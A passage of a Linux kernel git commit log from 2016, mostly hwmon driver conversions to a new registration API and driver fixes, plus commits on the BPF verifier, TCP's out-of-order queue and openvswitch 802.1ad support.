address - Check errors from register read and write functions and report to userspace. - Accept negative hysteresis values. While unlikely, a maximum limit _can_ be set to a value smaller than 31 degrees C, which makes negative hysteresis values possible. Signed-off-by: Guenter Roeck drivers/hwmon/lm95245.c | 638 ++++++++++++++++++++++++++++-------------------- 1 file changed, 379 insertions(+), 259 deletions(-) commit 3e9046281bd5deb180e0694b93e6169424582e3c Author: Guenter Roeck Date: Mon Jul 4 19:58:11 2016 -0700 hwmon: (lm95241) Convert to use new hwmon registration API Simplify code and reduce code size by using the new hwmon registration API. Signed-off-by: Guenter Roeck drivers/hwmon/lm95241.c | 430 +++++++++++++++++++++++++++--------------------- 1 file changed, 241 insertions(+), 189 deletions(-) commit fcc448cfe48ed7a74a299709457b32a7e5ca663a Author: Guenter Roeck Date: Sat Jul 2 21:40:19 2016 -0700 hwmon: (jc42) Convert to use new hwmon registration API Simplify code and reduce code size by using the new hwmon registration API. Signed-off-by: Guenter Roeck drivers/hwmon/jc42.c | 293 ++++++++++++++++++++++++++------------------------- 1 file changed, 149 insertions(+), 144 deletions(-) commit 54187ff9d766b2138bd83df74b6df7d78d422965 Author: Guenter Roeck Date: Fri Jul 1 21:24:29 2016 -0700 hwmon: (max31790) Convert to use new hwmon registration API Simplify code and reduce code size by using the new hwmon registration API. Signed-off-by: Guenter Roeck drivers/hwmon/max31790.c | 521 ++++++++++++++++++++--------------------------- 1 file changed, 224 insertions(+), 297 deletions(-) commit d65a5102a99f5b2f95956b9deff66052b563c996 Author: Guenter Roeck Date: Sun Jun 26 12:22:03 2016 -0700 hwmon: (nct7904) Convert to use new hwmon registration API Simplify code and reduce code size by using the new hwmon registration API. Signed-off-by: Guenter Roeck drivers/hwmon/nct7904.c | 555 +++++++++++++++++++++++------------------------- 1 file changed, 270 insertions(+), 285 deletions(-) commit a584287cd26cefba42d72b0cb7050e01b3aa77b8 Author: Guenter Roeck Date: Sat Jun 25 12:14:32 2016 -0700 hwmon: (ltc4245) Convert to use new hwmon registration API Simplify code and reduce code size by using the new hwmon registration API. Signed-off-by: Guenter Roeck drivers/hwmon/ltc4245.c | 362 +++++++++++++++++++++++------------------------- 1 file changed, 175 insertions(+), 187 deletions(-) commit bb43cc45dac37475c70b114502f067c535389edc Author: Guenter Roeck Date: Sat Jun 25 10:41:18 2016 -0700 hwmon: (tmp421) Convert to use new hwmon registration API Simplify code and reduce code size by using the new hwmon registration API. Signed-off-by: Guenter Roeck drivers/hwmon/tmp421.c | 133 +++++++++++++++++++++---------------------------- 1 file changed, 58 insertions(+), 75 deletions(-) commit 0208531d9090af3ca9d985dfdf66d1a71da0e58f Author: Guenter Roeck Date: Mon Jun 20 10:50:27 2016 -0700 hwmon: (tmp102) Convert to use new hwmon registration API Simplify code and reduce code size by using the new hwmon registration API. Signed-off-by: Guenter Roeck drivers/hwmon/Kconfig | 1 - drivers/hwmon/tmp102.c | 154 +++++++++++++++++++++++++++++-------------------- 2 files changed, 90 insertions(+), 65 deletions(-) commit eb1c8f4325d59e913d561d1fac8c9bc8154eb274 Author: Guenter Roeck Date: Sat Jun 18 19:56:08 2016 -0700 hwmon: (lm90) Convert to use new hwmon registration API Reduce driver complexity and size by converting it to the new hwmon API. Signed-off-by: Guenter Roeck drivers/hwmon/lm90.c | 811 +++++++++++++++++++++++++++------------------------ 1 file changed, 435 insertions(+), 376 deletions(-) commit 08b024338166abebcc2216f97693336f7ac0bf42 Author: Guenter Roeck Date: Sun Jun 19 19:15:05 2016 -0700 hwmon: (lm75) Convert to use new hwmon registration API Simplify code and reduce code size by using the new hwmon registration API. Signed-off-by: Guenter Roeck drivers/hwmon/Kconfig | 1 - drivers/hwmon/lm75.c | 185 +++++++++++++++++++++++++++++++------------------- 2 files changed, 116 insertions(+), 70 deletions(-) commit 2ca492e22cb70a001749377506bd22eb06f60ecc Author: hotran Date: Thu Sep 8 09:33:10 2016 -0700 hwmon: (xgene) Fix crash when alarm occurs before driver probe The system crashes during probing xgene-hwmon driver when temperature alarm interrupt occurs before. It's because - xgene_hwmon_probe() requests mailbox channel which also enables the mailbox interrupt. - As temperature alarm interrupt is pending, ISR runs and crashes when accesses into invalid resourse as unmapped PCC shared memory. This patch fixes this issue by saving this alarm message and scheduling a bottom handler after xgene_hwmon_probe() finish. Signed-off-by: Hoan Tran Reported-by: Itaru Kitayama Signed-off-by: Guenter Roeck drivers/hwmon/xgene-hwmon.c | 69 ++++++++++++++++++++++++++++++++------------- 1 file changed, 50 insertions(+), 19 deletions(-) commit 9417fefe6f6ec2005ff302fba33038f58ed766e3 Author: Quentin Schulz Date: Thu Sep 8 16:28:35 2016 +0200 hwmon: (iio_hwmon) defer probe when no channel is found iio_channel_get_all returns -ENODEV when it cannot find either phandles and properties in the Device Tree or channels whose consumer_dev_name matches iio_hwmon in iio_map_list. The iio_map_list is filled in by iio drivers which might be probed after iio_hwmon. It is better to defer the probe of iio_hwmon if such error is returned by iio_channel_get_all in order to let a chance to iio drivers to expose channels in iio_map_list. Signed-off-by: Quentin Schulz Signed-off-by: Guenter Roeck drivers/hwmon/iio_hwmon.c | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) commit f9f8b33d373056788a60c464dd8eb5b91ba518f8 Author: Mike Looijmans Date: Wed Aug 24 10:13:27 2016 +0200 hwmon: (max6650) Add initial rpm target devicetree documentation Add devicetree property for early initialization of the fan controller to prevent overheating, for example when resetting the board while the fan was completely turned off. Signed-off-by: Mike Looijmans Acked-by: Rob Herring Signed-off-by: Guenter Roeck Documentation/devicetree/bindings/hwmon/max6650.txt | 5 +++++ 1 file changed, 5 insertions(+) commit 20005cc58da50035c9b64572d4091c184dfa24c0 Author: Mike Looijmans Date: Wed Aug 24 10:13:26 2016 +0200 hwmon: (max6650) Allow fan shutdown and initial rpm target The fan can be stopped by writing "3" to pwm1_enable in sysfs. Add devicetree property for early initialization of the fan controller to prevent overheating, for example when resetting the board while the fan was completely turned off. Also improve error reporting, I2C failures were ignored while writing new values. Signed-off-by: Mike Looijmans Signed-off-by: Guenter Roeck Documentation/hwmon/max6650 | 1 + drivers/hwmon/max6650.c | 108 +++++++++++++++++++++++++++----------------- 2 files changed, 68 insertions(+), 41 deletions(-) commit a6cdeefeca47b834109bb13941c699be92c4ff97 Author: Mike Looijmans Date: Mon Aug 22 08:47:51 2016 +0200 hwmon: (max6650) Add devicetree support Parse devicetree parameters for voltage and prescaler setting. This allows using multiple max6550 devices with varying settings, and also makes it possible to instantiate and configure the device using devicetree. Signed-off-by: Mike Looijmans Signed-off-by: Guenter Roeck drivers/hwmon/max6650.c | 47 ++++++++++++++++++++++++++++++++++++----------- 1 file changed, 36 insertions(+), 11 deletions(-) commit 88de8e1d43e2a1c591e9fd261d0443826c7bebee Author: Mike Looijmans Date: Mon Aug 22 08:44:32 2016 +0200 hwmon: (max6650) Add devicetree support documentation This adds the devicetree binding documentation for the max6650 fan controller. Signed-off-by: Mike Looijmans Acked-by: Rob Herring Signed-off-by: Guenter Roeck .../devicetree/bindings/hwmon/max6650.txt | 23 ++++++++++++++++++++++ 1 file changed, 23 insertions(+) commit d5f3f6c8123388a6f978f2593cfe0e8ba8c30801 Author: Jean Delvare Date: Mon Aug 29 13:33:29 2016 +0200 hwmon: (it87) Drop useless comments Remove the index comments at the end of it87_attributes_in. They serve no purpose (as there is no reference to them in it87_in_is_visible) and some of them were obviously wrong. Signed-off-by: Jean Delvare Cc: Martin Blumenstingl Cc: Guenter Roeck Signed-off-by: Guenter Roeck drivers/hwmon/it87.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit 50b2b02c40340c4ac3fa1e12eb6e600a10c95e72 Author: Matt Weber Date: Fri Aug 19 21:08:45 2016 -0500 hwmon: (ucd9000) Add support for UCD90160 Power Supply Sequencer The UCD90160 Power Supply Sequencer reuses the existing register layout, so just an id addition was required. Signed-off-by: Matthew Weber Signed-off-by: Ronak Desai [groeck: Updated description, ordered alphabetically, added documentation] Signed-off-by: Guenter Roeck Documentation/hwmon/ucd9000 | 12 ++++++++++-- drivers/hwmon/pmbus/Kconfig | 6 +++--- drivers/hwmon/pmbus/ucd9000.c | 3 ++- 3 files changed, 15 insertions(+), 6 deletions(-) commit 43943ebb9f0cee2774df64d48f4a21171acf9c85 Author: Markus Elfring Date: Tue Aug 16 15:17:13 2016 +0200 hwmon: (scpi) Delete unnecessary assignment for the field "owner" The field "owner" is set by the core. Thus delete an unneeded initialisation. Generated by: scripts/coccinelle/api/platform_no_drv_owner.cocci Signed-off-by: Markus Elfring Acked-by: Sudeep Holla Signed-off-by: Guenter Roeck drivers/hwmon/scpi-hwmon.c | 1 - 1 file changed, 1 deletion(-) commit 2d5aee433d9c5bb6075eb42039a21c5b3728d22d Author: Thilo Cestonaro Date: Tue Aug 16 13:07:53 2016 +0200 hwmon: (ftsteutates) Add i2c detect functionality Signed-off-by: Thilo Cestonaro Signed-off-by: Guenter Roeck drivers/hwmon/ftsteutates.c | 45 +++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 45 insertions(+) commit ed42cfa881e1d8d9603b7cb872199e3c8e0d1b19 Author: hotran Date: Thu Jul 21 15:37:32 2016 -0700 hwmon: Add xgene hwmon driver This patch adds hardware temperature and power reading support for APM X-Gene SoC using the mailbox communication interface. Signed-off-by: Hoan Tran Reviewed-by: Guenter Roeck Signed-off-by: Guenter Roeck Documentation/hwmon/xgene-hwmon | 30 ++ drivers/hwmon/Kconfig | 7 + drivers/hwmon/Makefile | 1 + drivers/hwmon/xgene-hwmon.c | 755 ++++++++++++++++++++++++++++++++++++++++ 4 files changed, 793 insertions(+) commit 86430c1a66fe490fc97b0970575c223e27dee49d Author: Guenter Roeck Date: Fri Aug 12 06:28:15 2016 -0700 hwmon: (core) Avoid cyclic dependency between hwmon and thermal_sys If both hwmon and thermal_sys are built as modules, and CONFIG_THERMAL_HWMON is enabled, the following cyclic module dependency is reported. depmod: ERROR: Found 2 modules in dependency cycles! depmod: ERROR: Cycle detected: hwmon -> thermal_sys -> hwmon Fixes: e4bce763adb2 ("hwmon: (core) New hwmon registration API") Reported-by: Vignesh R Cc: Keerthy J Signed-off-by: Guenter Roeck drivers/hwmon/hwmon.c | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) commit aa18cc911ae2f172429d59169e95726b8e63525c Author: Joshua Scott Date: Mon Aug 8 13:35:45 2016 +1200 hwmon: (adt7470) Expose PWM frequency to sysfs The ADT7470 supports a variety of PWM frequencies. This patch allows the frequency to be configured and viewed through the sysfs entry pwm1_freq. Signed-off-by: Joshua Scott Signed-off-by: Guenter Roeck Documentation/hwmon/adt7470 | 17 +++++++++++ drivers/hwmon/adt7470.c | 74 +++++++++++++++++++++++++++++++++++++++++++++ 2 files changed, 91 insertions(+) commit 30fe976fe7a8de2d29c152cdcae207231503d564 Author: Daniel Golle Date: Mon Aug 1 12:07:18 2016 +0200 hwmon: (ltc4151) Make shunt-resistor configurable Allow to specify the resistance of the attached shunt via DT by adding the shunt-resistor property. Fall-back to the previous default (1 mOhm) if unset. Signed-off-by: Daniel Golle [groeck: Fixed 'line over 80 columns' checkpatch warning] Signed-off-by: Guenter Roeck drivers/hwmon/ltc4151.c | 22 ++++++++++++++++++++-- 1 file changed, 20 insertions(+), 2 deletions(-) commit 4f120397fc3f0717d1ffac76d6338e87e13e0e9f Author: Daniel Golle Date: Mon Aug 1 12:08:58 2016 +0200 hwmon: (ltc4151) Add devicetree binding for ltc4151 Signed-off-by: Daniel Golle Signed-off-by: Guenter Roeck Documentation/devicetree/bindings/hwmon/ltc4151.txt | 18 ++++++++++++++++++ 1 file changed, 18 insertions(+) commit fc72af3ad43512bdea27cbd98f7acdb1e0354c2e Author: Guenter Roeck Date: Wed Aug 3 22:07:18 2016 -0700 hwmon: (nct6775) Do not accept force_id unless chip is found Since commit 698a7c24a544 ("hwmon: (nct6775) Support two SuperIO chips in the same system"), the driver supports two Super-IO chips. This has the undesirable side effect that force_id always detects a second chip at address 0xfff8, even if no chip exists at that address. nct6775: Found NCT6793D or compatible chip at 0x4e:0xfff8 If no chip at all is found at a given SIO address, it does not make sense to instantiate it. Limit force_id to only work if some chip is found, that is if the chip ID returns a value other than 0xffff. Reviewed-by: Jean Delvare Signed-off-by: Guenter Roeck drivers/hwmon/nct6775.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit f9f7bb3a0efafb662a4c639bc62df1df2b7321f9 Author: Guenter Roeck Date: Sun Jun 26 12:20:46 2016 -0700 hwmon: (core) Add basic pwm attribute support to new API Add basic pwm attribute support (no auto attributes) to new API. Reviewed-by: Jonathan Cameron Signed-off-by: Guenter Roeck Documentation/hwmon/hwmon-kernel-api.txt | 2 ++ drivers/hwmon/hwmon.c | 9 +++++++++ include/linux/hwmon.h | 13 +++++++++++++ 3 files changed, 24 insertions(+) commit bf7153fd2c6f70c1f1c75c0a4d353c2384dc94eb Author: Guenter Roeck Date: Thu Jun 23 18:57:03 2016 -0700 hwmon: (core) Document new kernel API Describe the new registration API function as well as the data structures it requires. Acked-by: Punit Agrawal Reviewed-by: Jonathan Cameron Signed-off-by: Guenter Roeck Documentation/hwmon/hwmon-kernel-api.txt | 229 ++++++++++++++++++++++++++++++- 1 file changed, 227 insertions(+), 2 deletions(-) commit 8faee73f92cd4dd4928e6860001315a0cc834c99 Author: Guenter Roeck Date: Sat Jun 25 19:52:13 2016 -0700 hwmon: (core) Add fan attribute support to new API Acked-by: Punit Agrawal Reviewed-by: Jonathan Cameron Signed-off-by: Guenter Roeck drivers/hwmon/hwmon.c | 16 ++++++++++++++++ include/linux/hwmon.h | 27 +++++++++++++++++++++++++++ 2 files changed, 43 insertions(+) commit 6bfcca44a6e7b0a6d92eab39c4cb830516b9568c Author: Guenter Roeck Date: Mon Jun 20 11:38:37 2016 -0700 hwmon: (core) Add energy and humidity attribute support to new API Acked-by: Punit Agrawal Reviewed-by: Jonathan Cameron Signed-off-by: Guenter Roeck drivers/hwmon/hwmon.c | 20 ++++++++++++++++++++ include/linux/hwmon.h | 29 +++++++++++++++++++++++++++++ 2 files changed, 49 insertions(+) commit b308f5c744522de020da4706718de9076adeada7 Author: Guenter Roeck Date: Mon Jun 20 11:27:36 2016 -0700 hwmon: (core) Add power attribute support to new API Acked-by: Punit Agrawal Reviewed-by: Jonathan Cameron Signed-off-by: Guenter Roeck drivers/hwmon/hwmon.c | 30 ++++++++++++++++++++++++++++ include/linux/hwmon.h | 54 +++++++++++++++++++++++++++++++++++++++++++++++++++ 2 files changed, 84 insertions(+) commit 9b26947ce5b6a6d5f260d9564195e8971cc9713d Author: Guenter Roeck Date: Mon Jun 20 11:10:33 2016 -0700 hwmon: (core) Add current attribute support to new API Acked-by: Punit Agrawal Reviewed-by: Jonathan Cameron Signed-off-by: Guenter Roeck drivers/hwmon/hwmon.c | 21 +++++++++++++++++++++ include/linux/hwmon.h | 36 ++++++++++++++++++++++++++++++++++++ 2 files changed, 57 insertions(+) commit 00d616cf872bb552a6853df288efcdb9f937a489 Author: Guenter Roeck Date: Mon Jun 20 11:01:57 2016 -0700 hwmon: (core) Add voltage attribute support to new API Acked-by: Punit Agrawal Reviewed-by: Jonathan Cameron Signed-off-by: Guenter Roeck drivers/hwmon/hwmon.c | 21 +++++++++++++++++++++ include/linux/hwmon.h | 35 +++++++++++++++++++++++++++++++++++ 2 files changed, 56 insertions(+) commit d560168b5d0fb4a70c74b386564072a819d9bf71 Author: Guenter Roeck Date: Wed Aug 26 19:38:11 2015 -0700 hwmon: (core) New hwmon registration API Up to now, each hwmon driver has to implement its own sysfs attributes. This requires a lot of template code, and distracts from the driver's core function to read and write chip registers. To be able to reduce driver complexity, move sensor attribute handling and thermal zone registration into hwmon core. By using the new API, driver code and data size is typically reduced by 20-70%, depending on driver complexity and the number of sysfs attributes supported. With this patch, the new API only supports thermal sensors. Support for other sensor types will be added with subsequent patches. Acked-by: Punit Agrawal Reviewed-by: Jonathan Cameron Signed-off-by: Guenter Roeck drivers/hwmon/hwmon.c | 485 +++++++++++++++++++++++++++++++++++++++++++++++--- include/linux/hwmon.h | 148 +++++++++++++++ 2 files changed, 606 insertions(+), 27 deletions(-) commit c9ebbe6f23f43f4520d9e3c4fe1384963848088e Author: Guenter Roeck Date: Sun Jul 10 09:43:21 2016 -0700 hwmon: (core) Order include files alphabetically Ordering include files alphabetically makes it easier to add new ones. Stop including linux/spinlock.h and linux/kdev_t.h since both are not needed. Reviewed-by: Jonathan Cameron Signed-off-by: Guenter Roeck drivers/hwmon/hwmon.c | 10 ++++------ 1 file changed, 4 insertions(+), 6 deletions(-) commit 5e7f5994bdddfb8ddcf08c23638b3ec00c8984bc Author: Guenter Roeck Date: Mon Jul 25 13:45:30 2016 -0700 hwmon: (ntc_thermistor) Use devm_hwmon_device_register_with_groups Simplify code, reduce code size, and drop remove function as no longer needed. Signed-off-by: Guenter Roeck drivers/hwmon/ntc_thermistor.c | 57 +++++++----------------------------------- 1 file changed, 9 insertions(+), 48 deletions(-) commit 48001525c94b099058ef0b1fa6a5094082123d2d Author: Guenter Roeck Date: Mon Jul 25 13:37:56 2016 -0700 hwmon: (ntc_thermistor) Use dev instead of &pdev->dev where possible Instead of repeatedly accessing &pdev->dev, use a local variable dev instead where possible. Also drop 'dev' from private data since it is unnecessary. Signed-off-by: Guenter Roeck drivers/hwmon/ntc_thermistor.c | 52 ++++++++++++++++++++---------------------- 1 file changed, 25 insertions(+), 27 deletions(-) commit 640208567660dbe8ad81f3b1c7c90e56fd352317 Author: Guenter Roeck Date: Mon Jul 25 13:27:49 2016 -0700 hwmon: (ntc_thermistor) Use devm_iio_channel_get Use devm_iio_channel_get() instead of iio_channel_get to simplify error handling and device removal. Signed-off-by: Guenter Roeck drivers/hwmon/ntc_thermistor.c | 12 +----------- 1 file changed, 1 insertion(+), 11 deletions(-) commit cc00decf0e280953e9067e938ad331f93bda8b40 Author: Vadim Pasternak Date: Mon Jul 25 10:55:53 2016 +0000 hwmon: (pmbus) Add explicit support for DPS-460, DPS-800, and SGD009 Provide support for PSU DPS-460, DPS-800 from Delta Electronics, INC and for SGD009 from Acbel Polytech, INC. These devices do not support the STATUS_CML register, and reports a communication error in response to this command. For this reason, the status register check is disabled for these controllers. Signed-off-by: Vadim Pasternak Reviewed-by: Jiri Pirko Reviewed-by: Jean Delvare Signed-off-by: Guenter Roeck drivers/hwmon/pmbus/pmbus.c | 20 ++++++++++++++++++-- 1 file changed, 18 insertions(+), 2 deletions(-) commit a95da110cd6f464e7ea413224add0700051fe9ac Author: Michael Walle Date: Mon Jul 25 11:12:06 2016 +0200 hwmon: (adt7411) add external thermal diode support If the EXT_TDM bit is set, the chip supports a second temperature sensor instead of two voltage sensors. Signed-off-by: Michael Walle Signed-off-by: Guenter Roeck drivers/hwmon/adt7411.c | 51 +++++++++++++++++++++++++++++++++++++++++-------- 1 file changed, 43 insertions(+), 8 deletions(-) commit 637ab157d4a94145a6c9b89113222b6c80fab54c Author: Guenter Roeck Date: Mon Jul 4 08:27:38 2016 -0700 hwmon: (lm95241) Use more accurate limits The lower temperature limit is -128 degrees C. The supported upper limits are 127.875 or 255.875 degrees C. Also, don't fail if a value outside the supported range is provided when setting a temperature limit. Instead, clamp the provided value to the available value range. Signed-off-by: Guenter Roeck drivers/hwmon/lm95241.c | 8 ++------ 1 file changed, 2 insertions(+), 6 deletions(-) commit e8172a9381f33b6a4b16871b9149171e0113bfde Author: Guenter Roeck Date: Mon Jul 4 08:01:04 2016 -0700 hwmon: (lm95241) Use BIT macro where appropriate Drop some of the SHIFT defines since shift is implied with BIT(). Signed-off-by: Guenter Roeck drivers/hwmon/lm95241.c | 45 +++++++++++++++++++++------------------------ 1 file changed, 21 insertions(+), 24 deletions(-) commit 054f3040e47250ba98958175ff4e7ab61dd7725e Author: Guenter Roeck Date: Mon Jul 4 08:00:12 2016 -0700 hwmon: (lm95241) Drop FSF address The FSF address may change, and providing it does not add any value. Signed-off-by: Guenter Roeck drivers/hwmon/lm95241.c | 4 ---- 1 file changed, 4 deletions(-) commit 4b2ea08be985cb238ea03f3fd76490de950fd3cc Author: Guenter Roeck Date: Mon Jul 4 06:48:18 2016 -0700 hwmon: (lm95241) Order include files alphabetically Simplify detecting duplicate include files and finding the right place for adding new ones. Signed-off-by: Guenter Roeck drivers/hwmon/lm95241.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit 090a7f8efe0be34e837d51ef27f6232356ecabf6 Author: Guenter Roeck Date: Mon Jul 4 06:46:31 2016 -0700 hwmon: (lm95241) Add support for fault attributes The chip reports if remote diodes are present, which can be used for the fault attrributes. Signed-off-by: Guenter Roeck drivers/hwmon/lm95241.c | 20 +++++++++++++++++++- 1 file changed, 19 insertions(+), 1 deletion(-) commit f48ccb26e264b112afc087d562fa2d68e2e1174b Author: Guenter Roeck Date: Sun Jul 3 21:46:05 2016 -0700 hwmon: (lm95241) Fix overflow problems, write conversion rate to chip Writing the update_interval attribute could result in an overflow if a number close to the maximum unsigned long was written. At the same time, even though the chip supports setting the conversion rate, the selected conversion rate was not actually written to the chip. Fix the second problem by selecting valid (supported) conversion rates, and writing the selected conversion rate to the chip. This also fixes the first problem, since arbitrary conversion rates are now converted to actually supported conversion rates. Also, set the default chip conversion rate to 1 second. Previously, the chip was configured for continuous conversion, but readings were only retrieved every seond, which doesn't make much sense. If we only read a value from the chip every second, we can as well save some power and only convert in one-second intervals. Signed-off-by: Guenter Roeck drivers/hwmon/lm95241.c | 40 +++++++++++++++++++++++++++++++++------- 1 file changed, 33 insertions(+), 7 deletions(-) commit e895cdce683161081e3626c4f5a5c55cb72089f8 Author: Eric Dumazet Date: Wed Sep 7 21:52:56 2016 -0700 ipv4: accept u8 in IP_TOS ancillary data In commit f02db315b8d8 ("ipv4: IP_TOS and IP_TTL can be specified as ancillary data") Francesco added IP_TOS values specified as integer. However, kernel sends to userspace (at recvmsg() time) an IP_TOS value in a single byte, when IP_RECVTOS is set on the socket. It can be very useful to reflect all ancillary options as given by the kernel in a subsequent sendmsg(), instead of aborting the sendmsg() with EINVAL after Francesco patch. So this patch extends IP_TOS ancillary to accept an u8, so that an UDP server can simply reuse same ancillary block without having to mangle it. Jesper can then augment https://github.com/netoptimizer/network-testing/blob/master/src/udp_example02.c to add TOS reflection ;) Fixes: f02db315b8d8 ("ipv4: IP_TOS and IP_TTL can be specified as ancillary data") Signed-off-by: Eric Dumazet Cc: Francesco Fusco Cc: Jesper Dangaard Brouer Acked-by: Jesper Dangaard Brouer Signed-off-by: David S. Miller net/ipv4/ip_sockglue.c | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) commit 2d2be8cab26ed918e94d2deae89580003242a123 Author: Daniel Borkmann Date: Thu Sep 8 01:03:42 2016 +0200 bpf: fix range propagation on direct packet access LLVM can generate code that tests for direct packet access via skb->data/data_end in a way that currently gets rejected by the verifier, example: [...] 7: (61) r3 = *(u32 *)(r6 +80) 8: (61) r9 = *(u32 *)(r6 +76) 9: (bf) r2 = r9 10: (07) r2 += 54 11: (3d) if r3 >= r2 goto pc+12 R1=inv R2=pkt(id=0,off=54,r=0) R3=pkt_end R4=inv R6=ctx R9=pkt(id=0,off=0,r=0) R10=fp 12: (18) r4 = 0xffffff7a 14: (05) goto pc+430 [...] from 11 to 24: R1=inv R2=pkt(id=0,off=54,r=0) R3=pkt_end R4=inv R6=ctx R9=pkt(id=0,off=0,r=0) R10=fp 24: (7b) *(u64 *)(r10 -40) = r1 25: (b7) r1 = 0 26: (63) *(u32 *)(r6 +56) = r1 27: (b7) r2 = 40 28: (71) r8 = *(u8 *)(r9 +20) invalid access to packet, off=20 size=1, R9(id=0,off=0,r=0) The reason why this gets rejected despite a proper test is that we currently call find_good_pkt_pointers() only in case where we detect tests like rX > pkt_end, where rX is of type pkt(id=Y,off=Z,r=0) and derived, for example, from a register of type pkt(id=Y,off=0,r=0) pointing to skb->data. find_good_pkt_pointers() then fills the range in the current branch to pkt(id=Y,off=0,r=Z) on success. For above case, we need to extend that to recognize pkt_end >= rX pattern and mark the other branch that is taken on success with the appropriate pkt(id=Y,off=0,r=Z) type via find_good_pkt_pointers(). Since eBPF operates on BPF_JGT (>) and BPF_JGE (>=), these are the only two practical options to test for from what LLVM could have generated, since there's no such thing as BPF_JLT (<) or BPF_JLE (<=) that we would need to take into account as well. After the fix: [...] 7: (61) r3 = *(u32 *)(r6 +80) 8: (61) r9 = *(u32 *)(r6 +76) 9: (bf) r2 = r9 10: (07) r2 += 54 11: (3d) if r3 >= r2 goto pc+12 R1=inv R2=pkt(id=0,off=54,r=0) R3=pkt_end R4=inv R6=ctx R9=pkt(id=0,off=0,r=0) R10=fp 12: (18) r4 = 0xffffff7a 14: (05) goto pc+430 [...] from 11 to 24: R1=inv R2=pkt(id=0,off=54,r=54) R3=pkt_end R4=inv R6=ctx R9=pkt(id=0,off=0,r=54) R10=fp 24: (7b) *(u64 *)(r10 -40) = r1 25: (b7) r1 = 0 26: (63) *(u32 *)(r6 +56) = r1 27: (b7) r2 = 40 28: (71) r8 = *(u8 *)(r9 +20) 29: (bf) r1 = r8 30: (25) if r8 > 0x3c goto pc+47 R1=inv56 R2=imm40 R3=pkt_end R4=inv R6=ctx R8=inv56 R9=pkt(id=0,off=0,r=54) R10=fp 31: (b7) r1 = 1 [...] Verifier test cases are also added in this work, one that demonstrates the mentioned example here and one that tries a bad packet access for the current/fall-through branch (the one with types pkt(id=X,off=Y,r=0), pkt(id=X,off=0,r=0)), then a case with good and bad accesses, and two with both test variants (>, >=). Fixes: 969bf05eb3ce ("bpf: direct packet access") Signed-off-by: Daniel Borkmann Acked-by: Alexei Starovoitov Signed-off-by: David S. Miller kernel/bpf/verifier.c | 55 +++++++++++++++++------- samples/bpf/test_verifier.c | 102 ++++++++++++++++++++++++++++++++++++++++++++ 2 files changed, 142 insertions(+), 15 deletions(-) commit 9f5afeae51526b3ad7b7cb21ee8b145ce6ea7a7a Author: Yaogong Wang Date: Wed Sep 7 14:49:28 2016 -0700 tcp: use an RB tree for ooo receive queue Over the years, TCP BDP has increased by several orders of magnitude, and some people are considering to reach the 2 Gbytes limit. Even with current window scale limit of 14, ~1 Gbytes maps to ~740,000 MSS. In presence of packet losses (or reorders), TCP stores incoming packets into an out of order queue, and number of skbs sitting there waiting for the missing packets to be received can be in the 10^5 range. Most packets are appended to the tail of this queue, and when packets can finally be transferred to receive queue, we scan the queue from its head. However, in presence of heavy losses, we might have to find an arbitrary point in this queue, involving a linear scan for every incoming packet, throwing away cpu caches. This patch converts it to a RB tree, to get bounded latencies. Yaogong wrote a preliminary patch about 2 years ago. Eric did the rebase, added ofo_last_skb cache, polishing and tests. Tested with network dropping between 1 and 10 % packets, with good success (about 30 % increase of throughput in stress tests) Next step would be to also use an RB tree for the write queue at sender side ;) Signed-off-by: Yaogong Wang Signed-off-by: Eric Dumazet Cc: Yuchung Cheng Cc: Neal Cardwell Cc: Ilpo Järvinen Acked-By: Ilpo Järvinen Signed-off-by: David S. Miller include/linux/skbuff.h | 2 + include/linux/tcp.h | 7 +- include/net/tcp.h | 2 +- net/core/skbuff.c | 19 +++ net/ipv4/tcp.c | 4 +- net/ipv4/tcp_input.c | 330 +++++++++++++++++++++++++++-------------------- net/ipv4/tcp_ipv4.c | 2 +- net/ipv4/tcp_minisocks.c | 1 - 8 files changed, 218 insertions(+), 149 deletions(-) commit 3b61075be0929569e4de8b905ae6628d3285442f Merge: d545cac 018c1dd Author: David S. Miller Date: Thu Sep 8 17:10:28 2016 -0700 Merge branch 'ovs-802.1ad' Eric Garver says: ==================== openvswitch: add 802.1ad support This series adds 802.1ad support to openvswitch. It is a continuation of the work originally started by Thomas F Herbert - hence the large rev number. The extra VLAN is implemented by using an additional level of the OVS_KEY_ATTR_ENCAP netlink attribute. In OVS flow speak, this looks like eth_type(0x88a8),vlan(vid=100),encap(eth_type(0x8100), vlan(vid=200), encap(eth_type(0x0800), ...)) The userspace counterpart has also seen recent activity on the ovs-dev mailing lists. There are some new 802.1ad OVS tests being added - also on the ovs-dev list. This patch series has been tested using the most recent version of userspace (v3) and tests (v2). v22 changes: - merge patch 4 into patch 3 - fix checkpatch.pl errors - Still some 80 char warnings for long string literals - refresh pointer after pskb_may_pull() - refactor vlan nlattr parsing to remove some double checks - introduce ovs_nla_put_vlan() - move triple VLAN check to after ethertype serialization - WARN_ON_ONCE() on triple VLAN and unexpected encap values v21 changes: - Fix (and simplify) netlink attribute parsing - re-add handling of truncated VLAN tags - fix if/else dangling assignment in {push,pop}_vlan() - simplify parse_vlan() ==================== Signed-off-by: David S. Miller commit 018c1dda5ff1e7bd1fe2d9fd1d0f5b82dc6fc0cd Author: Eric Garver Date: Wed Sep 7 12:56:59 2016 -0400 openvswitch: 802.1AD Flow handling, actions, vlan parsing, netlink attributes Add support for 802.1ad including the ability to push and pop double tagged vlans. Add support for 802.1ad to netlink parsing and flow conversion. Uses double nested encap attributes to represent double tagged vlan. Inner TPID encoded along with ctci in nested attributes. This is based on Thomas F Herbert's original v20 patch. I made some small clean ups and bug fixes. Signed-off-by: Thomas F Herbert Signed-off-by: Eric Garver Acked-by: Pravin B Shelar Signed-off-by: David S. Miller net/openvswitch/actions.c | 16 ++- net/openvswitch/flow.c | 65 ++++++--- net/openvswitch/flow.h | 8 +- net/openvswitch/flow_netlink.c | 310 ++++++++++++++++++++++++++++------------- net/openvswitch/vport.c | 7 +- 5 files changed, 282 insertions(+), 124 deletions(-) commit fe19c4f971a55cea3be442d8032a5f6021702791 Author: Eric Garver Date: Wed Sep 7 12:56:58 2016 -0400 vlan: Check for vlan ethernet types for 8021.q or 802.1ad This is to simplify using double tagged vlans. This function allows all valid vlan ethertypes to be checked in a single function call. Also 